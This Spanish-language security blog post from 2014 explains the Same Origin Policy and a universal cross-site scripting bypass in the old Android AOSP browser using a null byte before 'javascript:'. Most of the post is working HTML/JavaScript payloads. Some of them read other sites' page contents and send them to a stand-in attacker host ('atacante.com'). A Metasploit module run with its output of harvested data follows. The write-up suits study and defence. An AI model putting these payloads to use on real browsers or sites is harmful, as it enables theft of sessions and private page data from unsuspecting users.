Publicado Por
Unknown
//
18:59
//
18 sept 2014
La Política del mismo origen o Same Origin Policy (SOP) es una medida de seguridad básica que deben implementar todos los navegadores actuales. La idea es muy sencilla: el código de una página que se ejecuta en cliente (casi siempre javascript) no debe ser capaz de acceder al código de otra.
Eso es porque, aunque hay algunas excepciones con unas pocas propiedades y atributos, si se permitiera acceder globalmente desde un origen a otro (Esquema, dominio y puerto) un sitio A podría acceder a las propiedades de otro sitio B, es decir, un sitio malicioso podría obtener las cookies, location, response, etc. de otro sitio por el que está navegando el usuario. Un ejemplo claro sería cuando un usuario accede a un sitio malicioso y es posible robar una sesión de Facebook abierta en otra pestaña del navegador.
Pues bien, resulta que el navegador por defecto de todas las versiones de Android anteriores a la 4.4, el conocido como AOSP browser (Android Open Source Project),permite evadir La Política del mismo origen (SOP) cargando Javascript en un iframe o ventana cualquiera simplemente poniendo antes de "javascript:..." un byte nulo. Es lo que sería UXSS (Universal Cross-site Scripting).
Veamos un ejemplo claro:
<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
Por tanto podemos leer la respuesta de cualquier página accediendo a la propiedad document.body.innerHTML:
<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >
<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >
<iframe name="test" src="http://www.prueba.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >
Probarlo es fácil. Ingresamos inocentemente en Facebook con nuestro usuario:
Y preparamos la PoC con Metasploit:
msf > use auxiliary/gather/android_stock_browser_uxss
set TARGET_URLS http://example.com
TARGET_URLS => http://example.com
msf auxiliary(android_stock_browser_uxss) > run
[*] Auxiliary module execution completed
msf auxiliary(android_stock_browser_uxss) >
[*] Using URL: http://0.0.0.0:8080/EFba5g10Ou
[*] Local IP: http://10.21.1.99:8080/EFba5g10Ou
[*] Server started.
msf auxiliary(android_stock_browser_uxss) >
[*] 10.21.1.99 android_stock_browser_uxss - Request 'GET /EFba5g10Ou'
[*] 10.21.1.99 android_stock_browser_uxss - Sending initial HTML ...
[*] 10.21.1.99 android_stock_browser_uxss - Request 'POST /EFba5g10Ou'
[+] Collected data from URL: http://example.com/
[+] Saved to: D:/metasploit/apps/pro/loot/20140916171229_default_10.21.1.99_android.client_314522.txt
Autor:Vicente Motos
0 comentarios: